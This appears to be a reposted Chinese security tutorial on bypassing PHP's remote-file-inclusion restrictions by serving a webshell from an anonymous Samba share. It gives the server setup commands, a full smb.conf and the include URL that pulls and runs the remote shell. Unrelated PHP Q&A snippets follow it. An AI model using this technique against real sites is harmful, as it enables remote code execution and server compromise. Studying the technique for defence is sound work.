fopen打开ftp文件_使用SMB绕过PHP远程文件包含限制

2023-05-16

简介
在这篇文章中,我分享一下PHP程序中的远程文件包含漏洞,它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的HTTP/FTP URL包含文件,但我将分享如何绕过远程文件包含的限制。
PHP and SMB 共享文件访问权限
在PHP配置文件中,默认将allow_url_include设置为Off,来限制PHP去加载远程的HTTP/FTP文件,这也有效的防御了远程文件包含攻击。尽管PHP设置了allow_url_includeallow_url_fopenOff,但是没有阻止下载SMB URL
攻击场景
当存在漏洞的PHP应用程序从攻击者控制的SMB共享机器上下载PHP webshell时,SMB共享机器应该允许其访问该文件。攻击者应该设置SMB服务器可以匿名访问。因此,一旦存在漏洞的应用程序去从SMB共享机器上下载PHP webshell时,SMB服务器不用判断任何身份,存在漏洞的程序就可以包含这个webshell。
让我们开始,首先在PHP的配置文件php.ini中禁止 “allow_url_fopen” 和”allow_url_include”,稍后配置SMB服务器可以匿名访问。一旦SMB共享设置好,就可以实施攻击。
PHP 环境配置
存在漏洞的机器已经设置”allow_url_fopen”和”allow_url_include” 为Off,下面的截图显示当前的PHP版本为5.5.11


在此之前,我们要去访问远程的HTTP服务器上的webshell时,确保PHP禁止了远程文件包含。


应用程序显示报错,当我从远程主机上测试包含PHP webshell时,远程文件包含没成功。
配置 SAMBA 服务器为匿名访问
使用以下命令去安装SAMBA服务器。apt-get install samba
创建SMB 共享目录 (比如我的 /var/www/html/pub/)mkdir /var/www/html/pub/


配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/


运行下面的命令来删除SAMBA 服务器的配置文件内容。echo > /etc/samba/smb.conf
把下面的内容写在/etc/samba/smb.conf里面。
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
重启SAMBA服务器,让配置文件 /etc/samba/smb.conf生效。
一旦SAMBA 服务器重启成功,尝试去访问SMB共享文件,确认SAMBA 服务器没有设置访问权限。在我的测试中,SAMBA服务器的IP是192.168.0.3,在Windows 文件浏览中去访问SMB共享文件,如下图。192.168.0.3


在SMB共享中放置PHP webshell
真棒。SMB共享目录是可以访问的,ica文件是存在的。
在目录/var/www/html/pub中放置php webshell,这是SMB共享指令ica目录。


一旦在SMB共享目录中放置了PHP shell,使用windows 文件浏览访问SMB的共享目录ica.192.168.0.3ica
你会看到PHP shell在SMB 共享目录里面。我的是box.php


文件包含攻击
使用存在远程文件包含的PHP应用程序去访问这个SMB共享PHP shell的链接。http://vulnerable_application/page.php?page=192.168.0.3icabox.php
可以看到,存在PHP文件包含的应用程序从SMB’共享文件中获取web shell,并在机器上执行。我们已经绕过了限制并包含了托管在远程机器上的webshell。

登录安全客 - 有思想的安全新媒体www.anquanke.com/,或加入交流群814450983、下载安全客APP来获取更多最新资讯吧~

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

fopen打开ftp文件_使用SMB绕过PHP远程文件包含限制 的相关文章

  • 通过jquery ajax()和serialize()提交html表单

    我想通过 jquery ajax 提交此表单 这是我所做的 但它不起作用 即表单正在提交并刷新页面 但我没有看到响应 即在同一页面上打印数组 HTML
  • 如何使用 Facebook API 发布到我自己的页面

    我想使用 API 将更新发布到我拥有的 Facebook 页面 我按照中的说明进行操作这个答案 https stackoverflow com a 28418469 517371获得 a 短期访问令牌对于我的用户 确保授予publish s
  • PHP 类似数组的对象

    我需要能够像这样设置我的对象 obj gt foo bar 然后我需要将它用作数组 如下所示 if obj foo bar more code here 只需添加implements ArrayAccess到您的类并添加所需的方法 公共函数
  • UTF-8、PHP 和 XML Mysql

    我在解决这个问题时遇到了很大的问题 我有一个编码 latin1 swedish ci 的 mysql 数据库和一个存储名称和地址的表 我正在尝试输出 UTF 8 XML 文件 但在使用以下字符串时遇到问题 Otiv gen它被输出为Otiv
  • 更改管理仪表板 WooCommerce 小部件标题

    我想将 WooCommerce 仪表板小部件标题从 WooCommerce 状态 更改为其他内容 我知道我需要在 Functions php 中使用钩子 但我正在努力使这项工作正常进行 我在 WooCommerce 中找到了生成仪表板小部件
  • 无法将外键值插入链接表

    我目前正在尝试将数据插入名为的表中 客户报价 该表充当 顾客 表和 客户关税 桌子 它还记录通过以下方式提交数据的用户 user table 这是我的数据库的架构 https i stack imgur com gyCdb png http
  • 如何使用用户代理标头以不同方式检测 Android 手机和 Android 平板电脑?

    对于我的网站 我需要能够区分 Android 平板电脑访问和 Android 手机访问的区别 在将页面发送给用户之前需要对其进行检测 因此不能使用 JavaScript 检查屏幕分辨率 目前我用它来检测 Android 设备 stripos
  • 如何在使用 Piwik 进行分析的页面上显示点击/访问计数器

    我想在主页上显示当天的访问量 该页面由 Piwik 跟踪 如何将 API 与 PHP 结合使用来获取今天的 唯一 访问量和点击量 以便我可以将它们显示在页面上的某个位置 result file get contents http mysit
  • php同时上传最大文件数

    我正在使用标签 用于使用 php 上传多个文件 我注意到 如果我选择超过 20 个文件 php 只会上传前 20 个文件 有没有办法扩大这个限制 这个限制被添加到PHP 5 2 12 https www php net releases 5
  • 使用 Laravel 返回一对多 Eloquent 关系中的最后一条记录

    假设存在一个One To Many关系 其中用户有许多工作 以及最后一条记录job表是用户当前的作业 让用户返回上一份工作的更好方法是什么 这是我尝试过的 User Class public function ejob return thi
  • PHP 数组转换为 Javascript 数组

    下午都 下面的代码工作完美 但是 我需要将 php sql 数组的每一行拉出并放入脚本 var 中 关于如何编写可以做到这一点的 while 循环有什么想法吗 谢谢你的帮助 var enableDays enableDays push 附加
  • 在 Woocommerce 的单个产品页面中添加产品注释字段

    我要创建定制订单备注 in 单品用户的详细信息页面 这个可以使用 php 来完成 无需插件 我已附上屏幕截图和网站 URL 以供参考 已尝试使用此代码function php它在结账页面上工作 而不是在产品信息页 任何人都可以帮助我实现这一
  • 如何在 phpstorm 中自动生成类的属性?

    如果我实现一个类 它注入一些服务 我必须编写大量代码
  • PHP 中的 JS charCodeAt 等效项(具有完整的 unicode 和 emoji 兼容性)

    我在 JS 中有一个简单的代码 如果涉及特殊字符 我无法在 PHP 中复制它 这是 JS 代码 参见JSFiddle https jsfiddle net h8oca3qg 5 用于输出 var str t char t and speci
  • WooCommerce - 按下按钮时更新所有产品描述(全站点)

    我一直在使用以下代码 希望能够创建一个按钮 按下它 然后我网站上的所有描述都会自动生成 梦想 我的问题 为什么我的代码没有按预期更新所有产品 到目前为止 我有以下代码 虽然它在一定程度上可以工作 但当按钮位于产品页面上时无法正常工作 它将更
  • 新行分隔符不适用于 group_concat 函数

    我有一根绳子 name lastname name2 lastname2 包含数据库表中的值 我想显示它 喜欢 name lastname name2 lastname2 我使用 group concat 函数 它适用于逗号分隔符 但我需要
  • 如何在 PHP 的 foreach 循环中获取两个项目? [复制]

    这个问题在这里已经有答案了 我有一个推荐轮播 轮播每次循环浏览两个项目 现在我想每次得到两个项目foreach环形 我怎么才能得到它 Code div div class row div class col md 6 div class s
  • Laravel 上的图像更新并删除旧图像

    尝试在我的更新控制器中实现更新文章似乎可行 但问题是当我只想更新帖子而不上传图像时 旧的总是会被删除 但这是不应该的 这是我的商店功能 public function store Post post post gt update this
  • PHP:在执行 php 脚本时显示“正在加载”页面

    这就是我现在所拥有的 我有一个网页 当访问该网页时 它会通过开放 API 连接到 Surveygizmo com 检索大量数据 然后将这些数据返回给我进行处理 此过程大约需要 10 12 秒 在执行时 页面只是处于 正在加载 状态 并且我会
  • POST 之后在 PHP 中设置 Location 标头时避免 HTTP 302 响应代码

    我需要放一个201 CreatedPOST 请求的响应代码和 Location 标头 但由于某种原因我仍然收到 302 响应 这就是我所拥有的 header HTTP 1 1 201 header Location The new reso

随机推荐